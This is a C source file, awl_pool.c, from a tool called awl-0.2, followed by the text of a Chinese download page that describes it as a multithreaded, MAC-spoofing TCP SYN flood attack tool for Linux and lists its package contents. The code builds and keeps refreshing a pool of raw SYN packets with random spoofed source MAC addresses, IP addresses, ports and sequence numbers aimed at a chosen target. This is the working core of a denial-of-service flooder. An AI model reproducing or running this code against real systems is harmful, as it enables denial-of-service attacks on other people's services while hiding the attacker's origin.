//awl_pool.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <error.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <net/ethernet.h>
#include <awl_pool.h>
#include <awl_rand.h>
#include <awl_checksum.h>
#include <awl_sig.h>
extern int quit_id;
extern int buf_len;
int pool_init(char *head[],struct awl_data *to){
int i = 0;
struct ether_header *eth;
struct iphdr *iph;
struct tcphdr *tcph;
int eth_len = sizeof(struct ether_header);
int iph_len = sizeof(struct iphdr),tcph_len = sizeof(struct tcphdr);
buf_len = eth_len+iph_len+tcph_len;
while(i<POOL_MAX){
head[i] = (char *)malloc(buf_len);
if(head[i] == NULL){
return(0);
}
eth = (struct ether_header *)head[i];
iph = (struct iphdr *)(head[i]+eth_len);
tcph = (struct tcphdr *)(head[i]+eth_len+iph_len);
memcpy(eth->ether_dhost,to->eth_dst,ETH_ALEN);
eth->ether_shost[0] = get_rand8();
eth->ether_shost[1] = get_rand8();
eth->ether_shost[2] = get_rand8();
eth->ether_shost[3] = get_rand8();
eth->ether_shost[4] = get_rand8();
eth->ether_shost[5] = get_rand8();
eth->ether_type = htons(ETHERTYPE_IP);
iph->ihl=5;
iph->version=4;
iph->tos=0;
iph->tot_len=htons(iph_len+tcph_len);
iph->id=htons(get_rand16());
iph->frag_off=0;
iph->ttl=get_rand8();
iph->protocol=IPPROTO_TCP;
iph->check=0;
iph->saddr=get_rand32();
iph->daddr=to->d_addr;
tcph->source = get_rand16();
tcph->dest = to->d_port;
tcph->seq = htonl(get_rand32());
tcph->ack_seq = 0;
tcph->res1 = 0;
tcph->doff = sizeof(struct tcphdr)/4;
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->res2 = 0;
tcph->window = htons(get_rand16());
tcph->check = 0;
tcph->urg_ptr = 0;
tcph->check = tcp_checksum( iph->saddr,
iph->daddr,
(unsigned short *)tcph,
tcph_len);
iph->check = ip_checksum((unsigned short *)iph,iph->ihl);
i++;
}
return(1);
}
int pool_clean(char *head[]){
int i=0;
while(i<POOL_MAX){
free(head[i]);
i++;
}
return(1);
}
int pool_show(char *head[]){
int i = 0;
struct iphdr *iph;
struct in_addr in;
while(i<POOL_MAX){
iph =(struct iphdr*)head[i];
in.s_addr = iph->saddr;
printf("\nNo.%d,",i);
printf("src address:%s",inet_ntoa(in));
i++;
}
return(1);
}
int pool_renew(char *head[]){
int i = 0;
struct ether_header *eth;
struct iphdr *iph;
struct tcphdr *tcph;
int eth_len = sizeof(struct ether_header);
int iph_len = sizeof(struct iphdr),tcph_len = sizeof(struct tcphdr);
while(i<POOL_MAX){
eth = (struct ether_header *)head[i];
iph = (struct iphdr *)(head[i]+eth_len);
tcph = (struct tcphdr *)(head[i]+eth_len+iph_len);
eth->ether_shost[0] = get_rand8();
eth->ether_shost[1] = get_rand8();
eth->ether_shost[2] = get_rand8();
eth->ether_shost[3] = get_rand8();
eth->ether_shost[4] = get_rand8();
eth->ether_shost[5] = get_rand8();
iph->id=htons(get_rand16());
iph->ttl=get_rand8();
iph->check=0;
iph->saddr=get_rand32();
tcph->source = get_rand16();
tcph->seq = htonl(get_rand32());
tcph->window = htons(get_rand16());
tcph->check = 0;
tcph->check = tcp_checksum( iph->saddr,
iph->daddr,
(unsigned short *)tcph,
tcph_len);
iph->check = ip_checksum((unsigned short *)iph,iph->ihl);
if(quit_id == 1){
printf("pool_renew success\n");
goto over;
}
i++;
if(i >= POOL_MAX){
i = 0;
}
sleep(60);
}
over:
return(1);
}
没有合适的资源?快使用搜索试试~ 我知道了~
awl-0.2.tar.gz TCP SYN洪水攻击 linux工具
需积分: 50 33 下载量 106 浏览量
2019-01-19
11:54:54
上传
评论 6
收藏 1.32MB GZ 举报
温馨提示
共36个文件
c:6个
h:6个
in:5个
awl-0.2.tar.gz TCP SYN洪水攻击 linux工具 多线程mac伪装SYN洪水攻击工具
资源推荐
资源详情
资源评论
收起资源包目录
awl-0.2.tar.gz (36个子文件)
awl-0.2
missing 10KB
ltmain.sh 179KB
COPYING 18KB
aclocal.m4 245KB
INSTALL 9KB
config.h.in 2KB
include
awl_pool.h 381B
awl_pth.h 128B
awl_checksum.h 408B
Makefile.in 10KB
awl_sig.h 103B
awl_rand.h 216B
Makefile.am 358B
configure 701KB
acinclude.m4 39B
ChangeLog 0B
install-sh 9KB
Makefile.in 21KB
TODO 0B
depcomp 15KB
configure.in 2KB
AUTHORS 0B
src
main.c 2KB
awl_pth.c 590B
Makefile.in 15KB
awl_pool.c 4KB
awl_rand.c 343B
Makefile.am 426B
awl_sig.c 167B
awl_checksum.c 1KB
config.guess 41KB
README 0B
config.sub 30KB
NEWS 0B
acconfig.h 316B
Makefile.am 552B
共 36 条
- 1
资源评论
noise7723
- 粉丝: 4
- 资源: 1
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- BLOCK_TYPE_HEARTBEAT_D70A3465D4EE4E9_046141_dump_1st.dmp
- 项目方法测试调用接口工具
- studyupdate
- 基于西瓜数据集的决策树实现.zip
- 60套HTML网站源码-响应式-涵盖(简历&作品展示&商业&科技&培训&商城&课设等)-适配移动设备-解压即用.zip
- 贪心算法要点和难点实例代码解析
- 65套HTML网站源码-响应式-涵盖(简历&作品展示&商业&科技&培训&商城&课设等)-适配移动设备-解压即用.zip
- 多因素决策树的Python实现.zip
- 使用Python在莺尾花数据集上实现了决策树算法,文件里有数据集.zip
- python实现决策树.zip
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功